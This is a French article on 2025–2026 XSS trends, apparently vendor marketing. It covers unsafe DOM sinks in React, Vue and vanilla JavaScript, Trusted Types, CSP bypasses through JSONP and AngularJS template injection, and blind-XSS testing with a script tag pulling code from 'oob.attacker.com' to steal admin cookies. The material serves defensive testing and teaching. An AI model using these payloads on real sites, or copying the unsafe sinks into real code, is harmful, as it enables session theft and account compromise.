Tendances XSS 2025–2026 : Attaques DOM-Based et Trusted Types
Le paysage XSS a évolué. Le XSS réfléchi est largement détecté par les scanners. Le XSS DOM-based — alimenté par l'usage non sécurisé de innerHTML, document.write et du dangerouslySetInnerHTML de React — est la cible à haute valeur du moment. Les Trusted Types adressent ce problème au niveau du navigateur, mais leur adoption est lente et les techniques de contournement persistent.
Le Basculement vers le XSS DOM-Based
Le XSS réfléchi classique — injecter un payload dans un paramètre d'URL qui est renvoyé dans la réponse serveur — est bien compris et détecté de façon fiable par les WAF, les encodeurs de sortie et les scanners automatisés. La surface d'attaque s'est considérablement réduite au cours de la dernière décennie.
Le XSS DOM-based est différent. Le serveur ne voit jamais le payload malveillant. Il circule directement depuis une source (fragment d'URL, localStorage, postMessage) vers un sink (une opération DOM qui provoque l'exécution de scripts) entièrement dans le moteur JavaScript du navigateur.
Les frameworks modernes — React, Vue, Angular, Next.js — ajoutent de la complexité. La plupart de leurs chemins de rendu sont sûrs par défaut : JSX échappe automatiquement le contenu, le moteur de template de Vue encode la sortie. Mais les développeurs contournent régulièrement ces protections.
Dans React :
// Sûr — JSX échappe ce contenu
<div>{userInput}</div>
// Non sécurisé — exécute du HTML arbitraire
<div dangerouslySetInnerHTML={{ __html: userInput }} />Dans Vue :
<!-- Sûr -->
<p>{{ userInput }}</p>
<!-- Non sécurisé — équivalent à innerHTML -->
<p v-html="userInput"></p>En JavaScript vanilla, les sinks classiques restent actifs dans les bases de code qui mélangent code framework et code non-framework :
// Écriture DOM directe — sans encodage
document.getElementById("output").innerHTML = location.hash.slice(1);
// Source URL alimentant un sink d'exécution de script
eval(new URLSearchParams(location.search).get("callback"));Trusted Types : Ce que C'est et Ses Limites
Les Trusted Types sont une directive de Content Security Policy du navigateur qui restreint les sinks DOM pouvant recevoir des valeurs de type chaîne. Avec les Trusted Types appliqués, des opérations comme innerHTML, document.write et eval ne peuvent accepter que des valeurs typées créées par une politique enregistrée — pas des chaînes brutes.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultUne politique Trusted Types :
const policy = trustedTypes.createPolicy("default", {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Désormais ce code compile mais assainit avant d'écrire
element.innerHTML = policy.createHTML(userInput);La limitation est la couverture. L'application des Trusted Types exige la mise à jour de chaque point d'injection dans votre base de code pour utiliser une politique typée. Pour les grandes bases de code legacy, cette migration est substantielle. De nombreuses équipes activent les Trusted Types en mode report-only pendant des mois sans atteindre le mode d'application effectif.
Le mode report-only ne bloque pas l'exploitation. Il signale uniquement les violations. Ne considérez pas un en-tête Content-Security-Policy-Report-Only avec Trusted Types comme une défense.
Les Contournements CSP Toujours en Usage
La Content Security Policy reste la couche de mitigation principale contre le XSS, et les techniques de contournement sont toujours très efficaces contre les politiques mal configurées.
Contournement via endpoint JSONP :
https://trusted-cdn.example.com/api/jsonp?callback=alert(1)//Tout domaine en liste blanche dans script-src qui héberge un endpoint JSONP peut être détourné pour injecter du JavaScript arbitraire.
Injection de template Angular via liste blanche CDN :
Lorsque script-src autorise un CDN hébergeant AngularJS, l'attribut ng-app peut être utilisé pour évaluer des expressions :
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>base-uri manquant :
Sans base-uri 'self', un attaquant capable d'injecter une balise <base> peut rediriger toutes les ressources URL relatives vers une origine qu'il contrôle.
Une CSP qui repose entièrement sur des domaines en liste blanche sans base default-src 'none' est significativement plus faible qu'elle n'y paraît. Les politiques les plus robustes utilisent des hachages ou des nonces pour les scripts inline et évitent entièrement les listes blanches de domaines.
À Quoi Ressemble le Test XSS Automatisé
Une détection XSS automatisée efficace en 2026 nécessite plus que de la simple injection de payloads. Le pipeline doit vérifier l'exécution, pas seulement la réflexion.
BreachVex exécute les tests XSS en trois phases :
- Découverte — Enumération de tous les points d'injection : champs de formulaire, paramètres d'URL, en-têtes, champs de corps JSON, fragments d'URL, gestionnaires
postMessage. - Injection de payloads — Test de chaque sink avec des payloads ciblés pour les vecteurs XSS réfléchi, stocké, DOM-based et mXSS (mutation XSS). Un fuzzer de couverture des paramètres assure le test large des paramètres, avec des payloads personnalisés pour les sinks spécifiques aux frameworks.
- Vérification navigateur — Exécution des payloads dans un vrai contexte de navigateur headless et confirmation de l'exécution via observation du DOM ou callback XSS aveugle. Un payload réfléchi dans la réponse mais qui n'exécute pas dans un navigateur n'est pas un finding confirmé.
Cette approche en trois phases élimine les faux positifs produits par les outils qui signalent toute réflexion comme du XSS sans vérifier l'exécution dans un contexte de rendu réel.
Le Vecteur XSS Aveugle
Le XSS stocké qui se déclenche dans un panneau d'administration, un tableau de bord de support ou un visualiseur de logs est souvent plus précieux que le XSS réfléchi sur une page accessible aux utilisateurs — la victime est un utilisateur privilégié ayant accès à des données sensibles.
Les tests de XSS aveugle nécessitent un callback hors-bande : un payload qui, lorsqu'il s'exécute dans le contexte administrateur, envoie le cookie ou le contenu DOM de l'administrateur vers un endpoint contrôlé par l'attaquant.
<script src="https://oob.attacker.com/x.js"></script>La difficulté réside dans l'exécution différée — les payloads peuvent se déclencher des heures ou des jours après l'injection, lorsqu'un administrateur consulte les données affectées. Des tests de XSS aveugle efficaces exigent une infrastructure de callback en temps réel et une logique de polling pour corréler les déclenchements différés avec le point d'injection d'origine.
En savoir plus sur XSS